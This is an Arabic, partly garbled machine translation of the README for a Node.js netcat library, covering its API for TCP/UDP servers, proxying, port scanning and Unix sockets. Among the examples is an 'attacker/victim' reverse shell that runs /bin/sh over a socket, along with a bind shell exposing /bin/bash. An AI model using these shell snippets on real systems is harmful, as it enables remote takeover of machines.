وحدات عميل وخادم Netcat مكتوبة في JavaScript Pure for Node.js.
الوحدات النمطية التي تم اختبارها بالكامل تنفذ جميع ميزات Netcat الأساسية. لاستخدام أداة مستقلة قم بتثبيت حزمة NC.
| Linux/Mac | النوافذ |
|---|---|
.auth('pass') ). allow deny محدد IP-Address. $ npm install --save netcat
const NetcatServer = require ( 'netcat/server' )
const NetcatClient = require ( 'netcat/client' )
const nc = new NetcatServer ( )
const nc2 = new NetcatClient ( ) تميل واجهة برمجة تطبيقات هذه الوحدة إلى اتباع أكبر قدر ممكن من معاملات CLI الخاصة بـ Netcat.
على سبيل المثال: nc -l -p 2389 يعادل nc.port(2389).listen() . هل هذا صحيح؟
| الخادم | عميل |
|---|---|
nc.port(2389).listen() | nc2.addr('127.0.0.1').port(2389).connect() |
| الخادم | عميل |
|---|---|
nc.port(2389).listen().pipe(outputStream) | inputStream.pipe(nc2.port(2389).connect().stream()) |
أو Viceversa يمكنك القيام بما يعادل nc -l -p 2389 < filename.txt وعندما يتصل شخص آخر بمنفذك 2389 ، يتم إرسال الملف إليهم سواء أرادوا ذلك أم لا:
| الخادم | عميل |
|---|---|
nc.port(2389).serve('filename.txt').listen() | nc2.port(2389).connect().pipe(outputStream) |
| الخادم | عميل |
|---|---|
nc.port(2389).k().listen() | inputStream.pipe(nc2.port(2389).connect().stream()) |
سيتم الاحتفاظ بالخادم على قيد الحياة ولا يتم إغلاقه بعد الاتصال الأول. ( k() هو الاسم المستعار لـ keepalive() )
| الخادم | عميل |
|---|---|
nc.port(2389).listen().serve(Buffer.from('Hello World')) | nc2.port(2389).connect().on('data', console.log) |
| الخادم | عميل |
|---|---|
nc.port(2389).listen().exec('/bin/bash') | process.stdin.pipe( nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream() ) |
تقوم طريقة exec() بتنفيذ الأمر المحدد وتجميع stdout و stderr مع socket العملاء.
| مهاجم | ضحية |
|---|---|
nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout) | nc2.addr('127.0.0.1').port(2389) .retry(5000).connect().exec('/bin/sh') |
يمكن تهيئة Netcat بسهولة بالغة كخادم وكيل:
var nc = new NetcatServer ( )
var nc2 = new NetcatClient ( )
nc2 . addr ( 'google.com' ) . port ( 80 ) . connect ( )
nc . port ( 8080 ) . k ( ) . listen ( ) . proxy ( nc2 . stream ( ) ) يتم إعادة توجيه جميع حركة المرور التي تتدفق على localhost:8080 إلى google.com:80 . وبالمثل ، يمكنك إعداد إعادة توجيه المنفذ باستخدام نفس المضيف.
التظاهر بأنه خادم Apache:
var apache = `HTTP/1.1 200 OK
Date: Sat, 27 May 2017 16:51:02 GMT
Server: Apache/2.4.7 (Ubuntu)
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 16894
Vary: Accept-Encoding
`
var nc = new NetcatServer ( )
var logFile = fs . createWriteStream ( 'log.txt' )
nc . port ( 80 ) . k ( ) . listen ( ) . serve ( Buffer . from ( apache ) ) . pipe ( logFile ) يوفر عميل Netcat أيضًا وظيفة مسح المنفذ الأساسية.
var nc = new NetcatClient ( )
nc . addr ( '127.0.0.1' ) . scan ( '22-80' , function ( ports ) {
// ports: { '22': 'open', '23': 'closed' ... }
} ) الماسح الضوئي هو بروتوكول TCP فقط. فحص UDP ليس فعالًا حقًا. scan(...) يقبل أيضًا صفيفًا أو رقمًا صحيحًا.
var nc = new NetcatServer ( )
nc . addr ( '127.0.0.1' ) . port ( 8080 ) . filter ( function ( chunk , enc , cb ) {
// transform upper case
var out = chunk . toString ( ) . toUpperCase ( )
this . push ( Buffer . from ( out ) )
cb ( null )
} ) . pipe ( process . stdout ) . connect ( ) يدعم كل من خادم Netcat والعميل Unix Socket Conn. دعنا نستخدم مثيل عميل NetCat الخاص بنا للاتصال بملف مقبس Docker Unix واسترداد قائمة صور الحاويات الخاصة بنا.
nc2 . unixSocket ( '/var/run/docker.sock' ) . enc ( 'utf8' )
. on ( 'data' , function ( res ) {
console . log ( res )
} )
. connect ( )
. send ( 'GET /images/json HTTP/1.0rnrn' ) var nc = new NetcatServer ( )
nc . udp ( ) . port ( 2100 ) . listen ( ) . on ( 'data' , function ( rinfo , data ) {
console . log ( 'Got' , data . toString ( ) , 'from' , rinfo . address , rinfo . port )
nc . close ( )
} ) var nc2 = new NetcatClient ( )
nc2 . udp ( ) . port ( 2100 ) . wait ( 1000 ) . init ( ) . send ( 'hello' , '127.0.0.1' ) أرسل hello Buffer إلى المنفذ 2100 ، ثم بعد 1000 مللي ثانية أغلق العميل.
port(int) أو p(int)يمكن لـ Netcat ربط أي منفذ محلي ، مع مراعاة قيود الامتياز والموانئ التي يتم استخدامها بالفعل.
address(host) أو addr(host)0.0.0.0 بشكل افتراضي.127.0.0.1 بشكل افتراضي. listen()اجعل خادم UDP/TCP يستمع إلى المنفذ المحدد مسبقًا.
unixSocket(path) - TCP فقطاختياريا يمكنك توفير المسار إلى ملف جورب يونكس والاستماع/الاتصال به.
connect() - TCP فقطجانب العميل فقط. دع العميل يتصل بالعنوان والمنفذ المحدد مسبقًا.
retry(ms) - TCP فقط جانب العميل فقط. أعد توصيل كل ms MLISeconds عند فقدان الاتصال.
interval(ms) أو i(ms)من جانب العميل فقط: يحدد فترة زمنية تأخير للبيانات المرسلة. بالميلي ثانية.
waitTime(ms) أو wait(ms)تعيين مهلة.
ms MLISeconds من البيانات الأولى ، وإذا لم يحصل على المزيد من البيانات ، فسيغلق الاتصال.ms MLISeconds من أول بيانات تم إرسالها وإذا لم يكن هناك المزيد من البيانات لإغلاق العميل. stream()إرجاع مرجع عميل DuplexStream.
pipe(outStream)البيانات الواردة الأنابيب من العميل إلى الخارج.
filter(transformFn) قم بتصفية البيانات الواردة مع function (chunk, enc, cb){...} قبل أن يتم الخروج.
NB : لا يتم ترشيح بيانات .on('data', cb) التي تحصل عليها. ينطبق المرشح فقط على دفق الأنابيب .pipe(...) .
القضية المعروفة : through2 الآن لا يحترم الترميز. إذا قمت بتعيين مرشح ، فستحصل على مخزن مؤقت وستكون طريقة enc() عديمة الفائدة.
serve()طريقة جانب الخادم.
تقبل طريقة serve إما سلسلة (تشير إلى اسم ملف ، تأكد من وجود الملف) أو دفق قابل للقراءة أو مخزن مؤقت. عندما تقوم بتمرير دفق قابل للقراءة ، يمكن أن يتسبب طريقة keepalive في استهلاك الدفق عند الطلب الأول ولا يمكن تقديم أي مزيد من تقديمه (لا يتم تخزين الدفق في المخزن المؤقت).
علاوة على ذلك ، عند تقديم ملف أو مخزن مؤقت إلى مقبس ، سينبعث الأنبوب حدثًا end (EOF) على المقبس. إغلاق الدفق.
send(data [, cb|host])جانب العميل:
cb بمجرد إرسال البيانات.جانب الخادم:
serve() بدلاً من ذلك.end(data) - TCP فقططريقة من جانب العميل. إرسال البيانات المعطاة وأغلق الاتصال.
close([cb]) أغلق الاتصال (أو الاتصالات إذا تم تنفيذها من جانب الخادم) واتصل cb بمجرد إغلاق المقبس.
enc() تعيين ترميز. الأكثر شيوعًا هي: utf8 ، ascii ، base64 ، hex ، binary ، hex .
protocol(prot) تعيين بروتوكول مخصص. يتم تثبيط استخدام هذه الطريقة. استخدم الطرق tcp() و udp() بدلاً من ذلك. tcp هي القيمة الافتراضية.
keepalive() أو k() - TCP فقططريقة جانب الخادم.
عندما تقوم بتعيين keepalive ، سيبقى الخادم مستيقظًا وربما يبقى OutStreame الممنوح pipe(outStream) مفتوحًا.
بشكل افتراضي في وضع UDP ، يتم الاحتفاظ بالاستماع على قيد الحياة حتى يكون nc.close() .
exec() - TCP فقط تقوم طريقة exec() بتنفيذ الأمر المحدد وتجميع stdout و stderr مع socket العملاء. يقبل اختياريا سلسلة ومجموعة من args كخيارات param الثانية والتفرخ كمعلمة ثالثة. إذا تم العثور على شار أنبوب | ثم ستتم معالجة جميع الأوامر تحت sh -c .
مثال:
nc . p ( 2389 ) . exec ( 'base64' , [ '-d' ] ) . listen ( )
// OR
nc . p ( 2389 ) . exec ( 'base64 | grep hello' ) . listen ( ) getClients() - TCP فقططريقة جانب الخادم. إرجاع كائن يسرد جميع مراجع مقبس العميل.
proxy(duplexStream) - TCP فقط طريقة جانب الخادم. هذه الطريقة تنشر الخادم البيانات الواردة/القادمة إلى DuplexStream المقدمة. إنه .pipe(duplexStream) اختصار لكل .serve(duplexStream) المكالمات:.
output(outStream) أو out(outStream) اكتب تفريغ سداسي عشري من حركة المرور الواردة أو القادمة إلى البث القابل outStream .
يمثل الصف جزءًا لا يقل عن 16 بايت بشكل افتراضي.
يمكن أن تكون الحرف الأول إما < أو > على التوالي "قطعة واردة" أو "قطعة خارجية".
scan(portsInterval, cb) - TCP فقطيوفر عميل Netcat أيضًا وظيفة مسح المنفذ الأساسية.
المعلمات هي تعليمية. المعلمة الأولى تحدد المنفذ/s للمسح الضوئي. يمكن أن يكون عدد صحيح واحد ، فاصل زمني للسلسلة (مثل 22-80 ) أو مجموعة من عدد صحيح ( [22, 23, 1880] ). عودة رد الاتصال كنتيجة لذلك كائن مثل { '22': 'open', '23': 'closed' ... } .
init() - UDP فقط و UDP معادلة من connect() . فقط لعملاء UDP.
bind(<int>) - UDP فقط دع عميل/خادم UDP يستمع إلى المنفذ المحدد. سيتم استخدامه أيضًا كمنفذ مقبل إذا لم يتم استدعاء .port(<n>) .
broadcast(<dst>) أو b(<dst>) - UDP فقطقم بتعيين البث لخادم UDP (في النهاية يمكنك تحديد عنوان الوجهة).
destination(<dst>) - UDP فقط اضبط عنوان الوجهة. ( 127.0.0.1 هي القيمة الافتراضية)
loopback() - UDP فقطتمكين الاسترجاع. على سبيل المثال ، عندما يكون خادم UDP مضغوطًا إلى منفذ وإرسال رسالة إلى هذا المنفذ ، فسوف يستعيد MSG إذا تم تمكين Loopback.
bind(int) - UDP فقط قم بربط خادم/عميل UDP بالاستماع إلى المنفذ المحدد واستخدم مجموعة المنفذ مع port() فقط للحزم القادمة.
تعمل وحدات Netcat على توسيع فئة EventEmitter . ستتمكن من التقاط بعض الأحداث مباشرة من المقابس. على سبيل المثال حدث data للخادم:
| الخادم | عميل |
|---|---|
nc.port(2389).listen().on('data', onData) | inputStream.pipe(nc2.port(2389).connect().stream()) |
function onData ( socket , chunk ) {
console . log ( socket . id , 'got' , chunk ) // Buffer <...>
socket . write ( 'hello client' ) // reply to the client
}.on('data', function(sock/rinfo, msg){})المنبعث عندما يحصل الخادم على بيانات من العملاء.
.on('ready', cb)المنبعث عندما يستمع الخادم بنجاح/ربط المنفذ.
.on('close', cb)المنبعث عندما يغلق الخادم.
.on('clientClose', function(socket, hadError){}) - tcp فقط يسمى عندما ينفصل العميل عن الخادم. يقبل رد الاتصال كـ 1th param مثيل socket قد تم فصله للتو و bool val hadError .
.on('connection', function(socket){}) - tcp فقطينبعث عندما يتصل عميل جديد بالخادم.
.on('end', function(socket){}) - tcp فقطينبعث عندما ينهي العميل الاتصال.
.on('timeout', function(socket){}) - tcp فقطالحدث مهلة المقبس.
.on('waitTimeout', cb) تم إطلاقه عندما يظل الخادم غير نشط لوقت wait(ms) .
.on('error', function(err){})المنبعثة من الخطأ.
.on('data', function(msg){})بيانات من الخادم.
.on('close', cb)المنبعث عندما يغلق العميل.
.on('waitTimeout', cb) تم إطلاقه عندما يظل العميل غير نشط لوقت wait(ms) .
.on('connect', cb) - tcp فقطالمنبعث عندما أنشأ العميل اتصال مع خادم.
.on('error', function(err){})المنبعثة من الخطأ.
للاستخدام المستقل ، قم بتثبيت حزمة NC CLI:
$ npm install -g nc
مثال:
$ # Listen for inbound
$ nc -l -p port [- options] [hostname] [port]
الخيارات المتاحة:
-c shell commands as '-e'; use /bin/sh to exec [dangerous!!]-e filename program to exec after connect [dangerous!!]-b allow broadcasts-i secs delay interval for lines sent, ports scanned (client-side)-h this cruft-k set keepalive option on socket-l listen mode, for inbound connects-n numeric-only IP addresses, no DNS-o file hex dump of traffic-p port local port number-r randomize local and remote ports-q secs quit after EOF on stdin and delay of secs-s addr local source address-u UDP mode-U Listen or connect to a UNIX domain socket-v verbose-w secs timeout for connects and final net reads-z zero-I/O mode [used for scanning] يطابق Debug وضع المطالبة. يمكنك تمكينه مع verbose: true أو env var DEBUG=netcat:*
قم بتشغيلها مع: npm test
التغطية:
.serve(input) .pipe() وخدم serve() . exec() روكو موسولينو (roccomuso)
معهد ماساتشوستس للتكنولوجيا